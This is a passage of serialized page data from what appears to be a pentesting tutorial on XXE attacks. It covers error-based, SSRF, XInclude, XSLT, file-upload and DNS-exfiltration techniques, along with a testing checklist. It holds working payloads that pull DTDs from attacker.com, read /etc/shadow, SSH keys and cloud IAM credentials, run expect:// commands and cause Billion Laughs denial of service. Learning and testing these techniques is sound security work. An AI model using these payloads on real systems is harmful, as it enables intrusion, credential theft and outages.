%dtd;\n]>\n\u003Cfoo>&trigger;\u003C\u002Ffoo>\n",[37,17801,17802,17806,17810,17814,17819,17823,17827],{"__ignoreMap":87},[313,17803,17804],{"class":315,"line":316},[313,17805,13930],{},[313,17807,17808],{"class":315,"line":88},[313,17809,13935],{},[313,17811,17812],{"class":315,"line":253},[313,17813,17704],{},[313,17815,17816],{"class":315,"line":780},[313,17817,17818],{},"  \u003C!ENTITY % dtd SYSTEM \"http:\u002F\u002Fattacker.com\u002Ferror.dtd\">\n",[313,17820,17821],{"class":315,"line":792},[313,17822,13978],{},[313,17824,17825],{"class":315,"line":802},[313,17826,13945],{},[313,17828,17829],{"class":315,"line":821},[313,17830,17831],{},"\u003Cfoo>&trigger;\u003C\u002Ffoo>\n",[15,17833,17834],{},"error.dtd:",[142,17836,17838],{"className":1948,"code":17837,"language":1950,"meta":87,"style":87},"\u003C!ENTITY % all \"\u003C!ENTITY trigger SYSTEM 'file:\u002F\u002F\u002Fnonexistent\u002F%file;'>\">\n%all;\n",[37,17839,17840,17845],{"__ignoreMap":87},[313,17841,17842],{"class":315,"line":316},[313,17843,17844],{},"\u003C!ENTITY % all \"\u003C!ENTITY trigger SYSTEM 'file:\u002F\u002F\u002Fnonexistent\u002F%file;'>\">\n",[313,17846,17847],{"class":315,"line":88},[313,17848,17739],{},[15,17850,17851,17852,17855],{},"The parser tries to open ",[37,17853,17854],{},"file:\u002F\u002F\u002Fnonexistent\u002Fweb-server-01"," → error:",[142,17857,17860],{"className":17858,"code":17859,"language":147},[145],"java.io.FileNotFoundException: \u002Fnonexistent\u002Fweb-server-01\n",[37,17861,17859],{"__ignoreMap":87},[15,17863,17864,17865,524],{},"→ File contents ",[26,17866,17867],{},"in the error text",[17683,17869,17871],{"id":17870},"error-based-via-entity-redefinition-no-outbound-connections","Error-based via Entity Redefinition (No Outbound Connections)",[15,17873,17874,17875,17877,17878,17881],{},"If you can't even load ",[37,17876,17405],{},", but there's a ",[26,17879,17880],{},"local DTD"," on the server:",[142,17883,17885],{"className":1948,"code":17884,"language":1950,"meta":87,"style":87},"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % local_dtd SYSTEM \"file:\u002F\u002F\u002Fusr\u002Fshare\u002Fyelp\u002Fdtd\u002Fdocbookx.dtd\">\n  \u003C!ENTITY % ISOamso '\n    \u003C!ENTITY &#x25; file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n    \u003C!ENTITY &#x25; eval \"\u003C!ENTITY &#x26;#x25; error SYSTEM &#x27;file:\u002F\u002F\u002Fnonexistent\u002F&#x25;file;&#x27;>\">\n    &#x25;eval;\n    &#x25;error;\n  '>\n  %local_dtd;\n]>\n\u003Cfoo>bar\u003C\u002Ffoo>\n",[37,17886,17887,17891,17895,17900,17905,17910,17915,17920,17925,17930,17935,17939],{"__ignoreMap":87},[313,17888,17889],{"class":315,"line":316},[313,17890,13930],{},[313,17892,17893],{"class":315,"line":88},[313,17894,13935],{},[313,17896,17897],{"class":315,"line":253},[313,17898,17899],{},"  \u003C!ENTITY % local_dtd SYSTEM \"file:\u002F\u002F\u002Fusr\u002Fshare\u002Fyelp\u002Fdtd\u002Fdocbookx.dtd\">\n",[313,17901,17902],{"class":315,"line":780},[313,17903,17904],{},"  \u003C!ENTITY % ISOamso '\n",[313,17906,17907],{"class":315,"line":792},[313,17908,17909],{},"    \u003C!ENTITY &#x25; file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n",[313,17911,17912],{"class":315,"line":802},[313,17913,17914],{},"    \u003C!ENTITY &#x25; eval \"\u003C!ENTITY &#x26;#x25; error SYSTEM &#x27;file:\u002F\u002F\u002Fnonexistent\u002F&#x25;file;&#x27;>\">\n",[313,17916,17917],{"class":315,"line":821},[313,17918,17919],{},"    &#x25;eval;\n",[313,17921,17922],{"class":315,"line":833},[313,17923,17924],{},"    &#x25;error;\n",[313,17926,17927],{"class":315,"line":842},[313,17928,17929],{},"  '>\n",[313,17931,17932],{"class":315,"line":848},[313,17933,17934],{},"  %local_dtd;\n",[313,17936,17937],{"class":315,"line":853},[313,17938,13945],{},[313,17940,17941],{"class":315,"line":874},[313,17942,17943],{},"\u003Cfoo>bar\u003C\u002Ffoo>\n",[15,17945,17946],{},"You redefine an entity from the local DTD, injecting your payload. This is the only exploitation method when outbound connections are fully blocked — no external DTD needed, everything happens locally.",[137,17948,17950],{"id":17949},"_43-xxe-ssrf","4.3 XXE → SSRF",[15,17952,17953,17954,212],{},"XXE is a full-fledged vector for ",[125,17955,17956],{"href":14811},"SSRF",[142,17958,17960],{"className":1948,"code":17959,"language":1950,"meta":87,"style":87},"\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\">\n]>\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n",[37,17961,17962,17966,17971,17975],{"__ignoreMap":87},[313,17963,17964],{"class":315,"line":316},[313,17965,13935],{},[313,17967,17968],{"class":315,"line":88},[313,17969,17970],{},"  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\">\n",[313,17972,17973],{"class":315,"line":253},[313,17974,13945],{},[313,17976,17977],{"class":315,"line":780},[313,17978,17344],{},[142,17980,17982],{"className":1948,"code":17981,"language":1950,"meta":87,"style":87},"\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Finternal-service:8080\u002Fadmin\">\n]>\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n",[37,17983,17984,17988,17993,17997],{"__ignoreMap":87},[313,17985,17986],{"class":315,"line":316},[313,17987,13935],{},[313,17989,17990],{"class":315,"line":88},[313,17991,17992],{},"  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Finternal-service:8080\u002Fadmin\">\n",[313,17994,17995],{"class":315,"line":253},[313,17996,13945],{},[313,17998,17999],{"class":315,"line":780},[313,18000,17344],{},[15,18002,18003],{},"All SSRF techniques apply: cloud metadata, port scanning, accessing internal services.",[137,18005,18007],{"id":18006},"_44-xxe-dos-billion-laughs","4.4 XXE → DoS (Billion Laughs)",[142,18009,18011],{"className":1948,"code":18010,"language":1950,"meta":87,"style":87},"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n  \u003C!-- ... -->\n]>\n\u003Cfoo>&lol9;\u003C\u002Ffoo>\n",[37,18012,18013,18017,18022,18027,18032,18037,18042,18047,18051],{"__ignoreMap":87},[313,18014,18015],{"class":315,"line":316},[313,18016,13930],{},[313,18018,18019],{"class":315,"line":88},[313,18020,18021],{},"\u003C!DOCTYPE lolz [\n",[313,18023,18024],{"class":315,"line":253},[313,18025,18026],{},"  \u003C!ENTITY lol \"lol\">\n",[313,18028,18029],{"class":315,"line":780},[313,18030,18031],{},"  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n",[313,18033,18034],{"class":315,"line":792},[313,18035,18036],{},"  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n",[313,18038,18039],{"class":315,"line":802},[313,18040,18041],{},"  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n",[313,18043,18044],{"class":315,"line":821},[313,18045,18046],{},"  \u003C!-- ... -->\n",[313,18048,18049],{"class":315,"line":833},[313,18050,13945],{},[313,18052,18053],{"class":315,"line":842},[313,18054,18055],{},"\u003Cfoo>&lol9;\u003C\u002Ffoo>\n",[15,18057,18058],{},"9 levels of nesting = 10^9 copies of the string \"lol\" — gigabytes in parser memory. Exponential expansion = the parser eats all available memory.",[15,18060,18061],{},"Doesn't leak data, but useful for:",[30,18063,18064,18070],{},[33,18065,18066,18069],{},[26,18067,18068],{},"Confirming DTD processing"," — if Billion Laughs works, the parser processes entities, so you can try XXE",[33,18071,18072,18075],{},[26,18073,18074],{},"DoS attacks"," — taking the service down",[12813,18077],{},[19,18079,18081],{"id":18080},"_5-xinclude","5. XInclude",[137,18083,18085],{"id":18084},"when-it-applies","When It Applies",[15,18087,18088,18089,18092],{},"You ",[26,18090,18091],{},"don't control the entire XML document"," — only a piece of data that gets inserted into XML on the server. You can't declare a DOCTYPE (it must be at the beginning of the document).",[15,18094,18095],{},"Example: your input (username, comment) gets embedded into an XML template on the backend.",[137,18097,8777],{"id":8776},[142,18099,18100],{"className":1948,"code":11727,"language":1950,"meta":87,"style":87},[37,18101,18102,18106,18110],{"__ignoreMap":87},[313,18103,18104],{"class":315,"line":316},[313,18105,11734],{},[313,18107,18108],{"class":315,"line":88},[313,18109,11739],{},[313,18111,18112],{"class":315,"line":253},[313,18113,11744],{},[30,18115,18116,18122,18127,18130],{},[33,18117,18118,18121],{},[37,18119,18120],{},"xmlns:xi"," — namespace declaration for XInclude",[33,18123,18124,18126],{},[37,18125,11750],{}," — read as text (without this the parser expects valid XML)",[33,18128,18129],{},"No DOCTYPE needed",[33,18131,18132],{},"Only works if the parser supports XInclude (libxml2, Xerces, most Java parsers)",[15,18134,14243,18135,524],{},[125,18136,18138],{"href":18137},"\u002Fnotes\u002Fpentesting\u002Fportswigger-xxe-xinclude-attack","XInclude Attack (PortSwigger)",[12813,18140],{},[19,18142,18144],{"id":18143},"_6-xxe-via-file-formats","6. XXE via File Formats",[137,18146,18148],{"id":18147},"svg","SVG",[142,18150,18152],{"className":1948,"code":18151,"language":1950,"meta":87,"style":87},"\u003C?xml version=\"1.0\" standalone=\"yes\"?>\n\u003C!DOCTYPE svg [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" width=\"200\" height=\"200\">\n  \u003Ctext x=\"0\" y=\"20\">&xxe;\u003C\u002Ftext>\n\u003C\u002Fsvg>\n",[37,18153,18154,18159,18164,18168,18172,18177,18182],{"__ignoreMap":87},[313,18155,18156],{"class":315,"line":316},[313,18157,18158],{},"\u003C?xml version=\"1.0\" standalone=\"yes\"?>\n",[313,18160,18161],{"class":315,"line":88},[313,18162,18163],{},"\u003C!DOCTYPE svg [\n",[313,18165,18166],{"class":315,"line":253},[313,18167,17453],{},[313,18169,18170],{"class":315,"line":780},[313,18171,13945],{},[313,18173,18174],{"class":315,"line":792},[313,18175,18176],{},"\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" width=\"200\" height=\"200\">\n",[313,18178,18179],{"class":315,"line":802},[313,18180,18181],{},"  \u003Ctext x=\"0\" y=\"20\">&xxe;\u003C\u002Ftext>\n",[313,18183,18184],{"class":315,"line":821},[313,18185,18186],{},"\u003C\u002Fsvg>\n",[15,18188,18189],{},"Upload as an avatar\u002Fimage → if the server parses SVG (e.g., converts to PNG) → XXE.",[137,18191,18193],{"id":18192},"docx-xlsx","DOCX \u002F XLSX",[335,18195,18196,18203,18209,18216,18222],{},[33,18197,18198,18199,18202],{},"Create a normal ",[37,18200,18201],{},".docx"," file",[33,18204,18205,18206],{},"Unzip it (it's a ZIP): ",[37,18207,18208],{},"unzip document.docx -d doc_extracted",[33,18210,18211,18212,18215],{},"Edit ",[37,18213,18214],{},"doc_extracted\u002Fword\u002Fdocument.xml"," — insert DTD with payload",[33,18217,18218,18219],{},"Re-zip: ",[37,18220,18221],{},"cd doc_extracted && zip -r ..\u002Fevil.docx .",[33,18223,18224],{},"Upload to the server",[15,18226,18227],{},"Files inside DOCX where you can insert the payload:",[30,18229,18230,18235,18240],{},[33,18231,18232],{},[37,18233,18234],{},"word\u002Fdocument.xml",[33,18236,18237],{},[37,18238,18239],{},"[Content_Types].xml",[33,18241,18242],{},[37,18243,18244],{},"_rels\u002F.rels",[12813,18246],{},[19,18248,18250],{"id":18249},"_7-the-bad-character-problem-and-bypasses","7. The Bad Character Problem and Bypasses",[137,18252,18254],{"id":18253},"the-problem","The Problem",[15,18256,18257,18258,18261,18262,4244,18264,4244,18266,18269],{},"When the parser substitutes file contents, it tries to ",[26,18259,18260],{},"parse them as XML",". If the file contains ",[37,18263,749],{},[37,18265,9246],{},[37,18267,18268],{},"]]>"," — the parser breaks.",[142,18271,18274],{"className":18272,"code":18273,"language":147},[145],"file:\u002F\u002F\u002Fetc\u002Fpasswd             ✅  — no special characters\nfile:\u002F\u002F\u002Fvar\u002Fwww\u002Fconfig.php     ❌  — full of \u003C and &\nfile:\u002F\u002F\u002Fetc\u002Ffstab              ❌  — may contain &\n",[37,18275,18273],{"__ignoreMap":87},[137,18277,18279],{"id":18278},"bypass-1-php-filter-if-the-server-runs-php","Bypass 1: PHP Filter (If the Server Runs PHP)",[142,18281,18283],{"className":1948,"code":18282,"language":1950,"meta":87,"style":87},"\u003C!ENTITY xxe SYSTEM \"php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\">\n",[37,18284,18285],{"__ignoreMap":87},[313,18286,18287],{"class":315,"line":316},[313,18288,18282],{},[15,18290,18291],{},"The file arrives in base64 — no special characters. Decode on your end.",[137,18293,18295],{"id":18294},"bypass-2-cdata-wrapper-via-parameter-entities","Bypass 2: CDATA Wrapper via Parameter Entities",[15,18297,18298],{},"evil.dtd:",[142,18300,18302],{"className":1948,"code":18301,"language":1950,"meta":87,"style":87},"\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\">\n\u003C!ENTITY % start \"\u003C![CDATA[\">\n\u003C!ENTITY % end \"]]>\">\n\u003C!ENTITY % all \"\u003C!ENTITY wrapped '%start;%file;%end;'>\">\n%all;\n",[37,18303,18304,18309,18314,18319,18324],{"__ignoreMap":87},[313,18305,18306],{"class":315,"line":316},[313,18307,18308],{},"\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\">\n",[313,18310,18311],{"class":315,"line":88},[313,18312,18313],{},"\u003C!ENTITY % start \"\u003C![CDATA[\">\n",[313,18315,18316],{"class":315,"line":253},[313,18317,18318],{},"\u003C!ENTITY % end \"]]>\">\n",[313,18320,18321],{"class":315,"line":780},[313,18322,18323],{},"\u003C!ENTITY % all \"\u003C!ENTITY wrapped '%start;%file;%end;'>\">\n",[313,18325,18326],{"class":315,"line":792},[313,18327,17739],{},[15,18329,18330],{},"Main XML:",[142,18332,18334],{"className":1948,"code":18333,"language":1950,"meta":87,"style":87},"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % dtd SYSTEM \"http:\u002F\u002Fattacker.com\u002Fevil.dtd\">\n  %dtd;\n]>\n\u003Cfoo>&wrapped;\u003C\u002Ffoo>\n",[37,18335,18336,18340,18344,18348,18352,18356],{"__ignoreMap":87},[313,18337,18338],{"class":315,"line":316},[313,18339,13930],{},[313,18341,18342],{"class":315,"line":88},[313,18343,13935],{},[313,18345,18346],{"class":315,"line":253},[313,18347,13973],{},[313,18349,18350],{"class":315,"line":780},[313,18351,13978],{},[313,18353,18354],{"class":315,"line":792},[313,18355,13945],{},[313,18357,18358],{"class":315,"line":802},[313,18359,18360],{},"\u003Cfoo>&wrapped;\u003C\u002Ffoo>\n",[15,18362,18363,18364,18367],{},"File contents get wrapped in ",[37,18365,18366],{},"CDATA"," → the parser doesn't interpret special characters.",[137,18369,18371],{"id":18370},"bypass-3-jar-protocol-java","Bypass 3: jar:\u002F\u002F Protocol (Java)",[142,18373,18376],{"className":18374,"code":18375,"language":147},[145],"jar:http:\u002F\u002Fattacker.com\u002Fevil.jar!\u002Ffile.txt\n",[37,18377,18375],{"__ignoreMap":87},[15,18379,18380],{},"Java-specific — downloads the archive, extracts it, reads the file inside. Can be used to bypass protocol restrictions.",[12813,18382],{},[19,18384,18386],{"id":18385},"_8-exploitation-what-to-read","8. Exploitation: What to Read",[137,18388,18390],{"id":18389},"system-files","System Files",[15,18392,18393],{},[26,18394,18395],{},"Linux:",[142,18397,18400],{"className":18398,"code":18399,"language":147},[145],"file:\u002F\u002F\u002Fetc\u002Fpasswd\nfile:\u002F\u002F\u002Fetc\u002Fshadow              — password hashes (needs root)\nfile:\u002F\u002F\u002Fetc\u002Fhostname\nfile:\u002F\u002F\u002Fproc\u002Fself\u002Fenviron       — environment variables (secrets, keys)\nfile:\u002F\u002F\u002Fproc\u002Fself\u002Fcmdline       — process arguments\nfile:\u002F\u002F\u002Fhome\u002Fuser\u002F.ssh\u002Fid_rsa   — private SSH key\nfile:\u002F\u002F\u002Fhome\u002Fuser\u002F.bash_history — command history\n",[37,18401,18399],{"__ignoreMap":87},[15,18403,18404],{},[26,18405,18406],{},"Windows:",[142,18408,18411],{"className":18409,"code":18410,"language":147},[145],"file:\u002F\u002F\u002FC:\u002FWindows\u002Fwin.ini\nfile:\u002F\u002F\u002FC:\u002FWindows\u002FSystem32\u002Fdrivers\u002Fetc\u002Fhosts\nfile:\u002F\u002F\u002FC:\u002FUsers\u002FAdministrator\u002F.ssh\u002Fid_rsa\nfile:\u002F\u002F\u002FC:\u002Finetpub\u002Fwwwroot\u002Fweb.config\n",[37,18412,18410],{"__ignoreMap":87},[137,18414,18416],{"id":18415},"application-configs","Application Configs",[142,18418,18421],{"className":18419,"code":18420,"language":147},[145],"file:\u002F\u002F\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\nfile:\u002F\u002F\u002Fvar\u002Fwww\u002Fhtml\u002F.env\nfile:\u002F\u002F\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\nfile:\u002F\u002F\u002Fopt\u002Fapp\u002Fapplication.properties     — Spring Boot\nfile:\u002F\u002F\u002Fopt\u002Fapp\u002Fapplication.yml\nfile:\u002F\u002F\u002Fetc\u002Fnginx\u002Fnginx.conf\nfile:\u002F\u002F\u002Fetc\u002Fapache2\u002Fsites-enabled\u002F000-default.conf\n",[37,18422,18420],{"__ignoreMap":87},[137,18424,18426],{"id":18425},"cloud-metadata-xxe-ssrf","Cloud Metadata (XXE → SSRF)",[142,18428,18431],{"className":18429,"code":18430,"language":147},[145],"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F  — AWS\nhttp:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F                — GCP\nhttp:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance                           — Azure\n",[37,18432,18430],{"__ignoreMap":87},[15,18434,18435,18436,524],{},"More on SSRF: ",[125,18437,11799],{"href":14811},[12813,18439],{},[19,18441,18443],{"id":18442},"_9-xxe-via-xslt","9. XXE via XSLT",[15,18445,18446,18447,18450],{},"If the server performs XSLT transformations, the ",[37,18448,18449],{},"document()"," function in XSLT can be used to read files and make HTTP requests — similar to XXE, but through a different mechanism. This is a separate attack surface, unrelated to DTD and entities.",[137,18452,18454],{"id":18453},"file-read-via-xslt","File Read via XSLT",[142,18456,18458],{"className":1948,"code":18457,"language":1950,"meta":87,"style":87},"\u003Cxsl:stylesheet xmlns:xsl=\"http:\u002F\u002Fwww.w3.org\u002F1999\u002FXSL\u002FTransform\" version=\"1.0\">\n  \u003Cxsl:template match=\"\u002F\">\n    \u003Cxsl:copy-of select=\"document('file:\u002F\u002F\u002Fetc\u002Fpasswd')\"\u002F>\n  \u003C\u002Fxsl:template>\n\u003C\u002Fxsl:stylesheet>\n",[37,18459,18460,18465,18470,18475,18480],{"__ignoreMap":87},[313,18461,18462],{"class":315,"line":316},[313,18463,18464],{},"\u003Cxsl:stylesheet xmlns:xsl=\"http:\u002F\u002Fwww.w3.org\u002F1999\u002FXSL\u002FTransform\" version=\"1.0\">\n",[313,18466,18467],{"class":315,"line":88},[313,18468,18469],{},"  \u003Cxsl:template match=\"\u002F\">\n",[313,18471,18472],{"class":315,"line":253},[313,18473,18474],{},"    \u003Cxsl:copy-of select=\"document('file:\u002F\u002F\u002Fetc\u002Fpasswd')\"\u002F>\n",[313,18476,18477],{"class":315,"line":780},[313,18478,18479],{},"  \u003C\u002Fxsl:template>\n",[313,18481,18482],{"class":315,"line":792},[313,18483,18484],{},"\u003C\u002Fxsl:stylesheet>\n",[137,18486,18488],{"id":18487},"ssrf-via-xslt","SSRF via XSLT",[142,18490,18492],{"className":1948,"code":18491,"language":1950,"meta":87,"style":87},"\u003Cxsl:stylesheet xmlns:xsl=\"http:\u002F\u002Fwww.w3.org\u002F1999\u002FXSL\u002FTransform\" version=\"1.0\">\n  \u003Cxsl:template match=\"\u002F\">\n    \u003Cxsl:copy-of select=\"document('http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F')\"\u002F>\n  \u003C\u002Fxsl:template>\n\u003C\u002Fxsl:stylesheet>\n",[37,18493,18494,18498,18502,18507,18511],{"__ignoreMap":87},[313,18495,18496],{"class":315,"line":316},[313,18497,18464],{},[313,18499,18500],{"class":315,"line":88},[313,18501,18469],{},[313,18503,18504],{"class":315,"line":253},[313,18505,18506],{},"    \u003Cxsl:copy-of select=\"document('http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F')\"\u002F>\n",[313,18508,18509],{"class":315,"line":780},[313,18510,18479],{},[313,18512,18513],{"class":315,"line":792},[313,18514,18484],{},[137,18516,18518],{"id":18517},"why-this-works","Why This Works",[15,18520,18521,18522,18524,18525,8649,18527,524],{},"XSLT processors (Xalan, Saxon, libxslt) allow ",[37,18523,18449],{}," by default. The function is meant for loading additional XML documents during transformation, but it supports arbitrary URIs — including ",[37,18526,13153],{},[37,18528,14074],{},[15,18530,18531],{},"Important: even if the application has fully disabled DTD and external entities in the XML parser, XSLT transformation can still be vulnerable. These are two different mechanisms, and defending against one doesn't protect against the other.",[12813,18533],{},[19,18535,18537],{"id":18536},"_10-chaining-with-other-vulnerabilities","10. Chaining with Other Vulnerabilities",[15,18539,18540],{},"XXE rarely exists in a vacuum — exploitation often builds on chains with other vulnerabilities:",[13075,18542,18543,18553],{},[13078,18544,18545],{},[13081,18546,18547,18549,18551],{},[13084,18548,14041],{},[13084,18550,16193],{},[13084,18552,14046],{},[13091,18554,18555,18568,18581,18594,18612],{},[13081,18556,18557,18561,18565],{},[13096,18558,18559],{},[26,18560,14068],{},[13096,18562,14071,18563,14075],{},[37,18564,14074],{},[13096,18566,18567],{},"Cloud metadata, internal services",[13081,18569,18570,18575,18578],{},[13096,18571,18572],{},[26,18573,18574],{},"XXE → LFI",[13096,18576,18577],{},"Reading source code → finding new vulnerabilities",[13096,18579,18580],{},"Secret disclosure, further escalation",[13081,18582,18583,18588,18591],{},[13096,18584,18585],{},[26,18586,18587],{},"Blind XXE + DNS",[13096,18589,18590],{},"DNS exfiltration works even through strict HTTP firewalls",[13096,18592,18593],{},"Confirming the vulnerability, slow exfiltration",[13081,18595,18596,18601,18609],{},[13096,18597,18598],{},[26,18599,18600],{},"XXE → RCE",[13096,18602,18603,18605,18606,18608],{},[37,18604,17192],{}," (PHP), ",[37,18607,13280],{}," chains, XSLT code execution",[13096,18610,18611],{},"Full server control",[13081,18613,18614,18618,18620],{},[13096,18615,18616],{},[26,18617,14055],{},[13096,18619,14058],{},[13096,18621,18622],{},"Reading local files on the internal server",[137,18624,18626],{"id":18625},"xxe-rce-php-expect","XXE → RCE (PHP + expect)",[15,18628,11747,18629,18631],{},[37,18630,17192],{}," URI scheme in PHP executes shell commands:",[142,18633,18635],{"className":1948,"code":18634,"language":1950,"meta":87,"style":87},"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"expect:\u002F\u002Fid\">\n]>\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n",[37,18636,18637,18641,18645,18650,18654],{"__ignoreMap":87},[313,18638,18639],{"class":315,"line":316},[313,18640,13930],{},[313,18642,18643],{"class":315,"line":88},[313,18644,13935],{},[313,18646,18647],{"class":315,"line":253},[313,18648,18649],{},"  \u003C!ENTITY xxe SYSTEM \"expect:\u002F\u002Fid\">\n",[313,18651,18652],{"class":315,"line":780},[313,18653,13945],{},[313,18655,18656],{"class":315,"line":792},[313,18657,17344],{},[15,18659,18660,18661,18664,18665,18668],{},"If the server returns ",[37,18662,18663],{},"uid=33(www-data)..."," — that's RCE. Requirements: PHP + the ",[37,18666,18667],{},"expect"," extension loaded. Rare in production, common in CTFs.",[137,18670,18672],{"id":18671},"dns-exfiltration","DNS Exfiltration",[15,18674,18675],{},"When outbound HTTP is fully blocked, DNS queries often get through:",[142,18677,18679],{"className":1948,"code":18678,"language":1950,"meta":87,"style":87},"\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY send SYSTEM 'http:\u002F\u002F%file;.attacker.com\u002F'>\">\n%eval;\n",[37,18680,18681,18685,18690],{"__ignoreMap":87},[313,18682,18683],{"class":315,"line":316},[313,18684,2226],{},[313,18686,18687],{"class":315,"line":88},[313,18688,18689],{},"\u003C!ENTITY % eval \"\u003C!ENTITY send SYSTEM 'http:\u002F\u002F%file;.attacker.com\u002F'>\">\n",[313,18691,18692],{"class":315,"line":253},[313,18693,1988],{},[15,18695,18696],{},"Data arrives as a subdomain in the DNS query — track it via Burp Collaborator or interactsh.",[15,18698,18435,18699,524],{},[125,18700,11799],{"href":14811},[12813,18702],{},[19,18704,18706],{"id":18705},"_11-testing-methodology","11. Testing Methodology",[137,18708,18710],{"id":18709},"step-1-discover-entry-points","Step 1: Discover Entry Points",[30,18712,18713,18716,18719,18725],{},[33,18714,18715],{},"Find all endpoints that accept XML (Content-Type, SOAP, files)",[33,18717,18718],{},"Check file uploads: SVG, DOCX, XLSX, XML",[33,18720,7590,18721,18724],{},[26,18722,18723],{},"swapping Content-Type"," from JSON to XML",[33,18726,18727],{},"Check SAML endpoints",[137,18729,18731],{"id":18730},"step-2-test-dtd-processing","Step 2: Test DTD Processing",[15,18733,18734],{},"Send a harmless payload — if the parser processes DTD, XXE is possible:",[142,18736,18738],{"className":1948,"code":18737,"language":1950,"meta":87,"style":87},"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe \"testvalue\">\n]>\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n",[37,18739,18740,18744,18748,18753,18757],{"__ignoreMap":87},[313,18741,18742],{"class":315,"line":316},[313,18743,13930],{},[313,18745,18746],{"class":315,"line":88},[313,18747,13935],{},[313,18749,18750],{"class":315,"line":253},[313,18751,18752],{},"  \u003C!ENTITY xxe \"testvalue\">\n",[313,18754,18755],{"class":315,"line":780},[313,18756,13945],{},[313,18758,18759],{"class":315,"line":792},[313,18760,17344],{},[15,18762,18763,18764,18767],{},"If the response contains ",[37,18765,18766],{},"testvalue"," → DTD is processed → try an external entity.",[137,18769,14201],{"id":14200},[13075,18771,18772,18783],{},[13078,18773,18774],{},[13081,18775,18776,18779,18781],{},[13084,18777,18778],{},"Situation",[13084,18780,17227],{},[13084,18782,11113],{},[13091,18784,18785,18798,18809,18820],{},[13081,18786,18787,18790,18793],{},[13096,18788,18789],{},"Parser response is visible",[13096,18791,18792],{},"Classic",[13096,18794,18795],{},[37,18796,18797],{},"SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\"",[13081,18799,18800,18803,18806],{},[13096,18801,18802],{},"Response not visible, outbound allowed",[13096,18804,18805],{},"Blind OOB",[13096,18807,18808],{},"Parameter entities + external DTD",[13081,18810,18811,18814,18817],{},[13096,18812,18813],{},"Response not visible, outbound blocked",[13096,18815,18816],{},"Blind Error-based",[13096,18818,18819],{},"Error with data or local DTD",[13081,18821,18822,18825,18827],{},[13096,18823,18824],{},"You don't control DOCTYPE",[13096,18826,11608],{},[13096,18828,18829],{},[37,18830,18831],{},"xi:include",[137,18833,16364],{"id":16363},[142,18835,18838],{"className":18836,"code":18837,"language":147},[145],"1. file:\u002F\u002F\u002Fetc\u002Fpasswd              → confirm file read\n2. file:\u002F\u002F\u002Fproc\u002Fself\u002Fenviron       → secrets from env\n3. file:\u002F\u002F\u002Fhome\u002Fuser\u002F.ssh\u002Fid_rsa   → SSH keys\n4. http:\u002F\u002F169.254.169.254\u002F...      → cloud credentials\n5. http:\u002F\u002Finternal:PORT\u002F...        → SSRF to internal services\n6. php:\u002F\u002Ffilter\u002F...                → read PHP code (base64)\n",[37,18839,18837],{"__ignoreMap":87},[137,18841,18842],{"id":16379},"Step 5: If It Doesn't Work",[30,18844,18845,18857,18860,18863,18866,18869,18872,18875],{},[33,18846,18847,18848,4244,18850,4244,18852,4244,18855],{},"Try other protocols: ",[37,18849,13153],{},[37,18851,14074],{},[37,18853,18854],{},"php:\u002F\u002F",[37,18856,13280],{},[33,18858,18859],{},"Try parameter entities instead of general",[33,18861,18862],{},"Try XInclude",[33,18864,18865],{},"Try the error-based approach",[33,18867,18868],{},"Try via files (SVG, 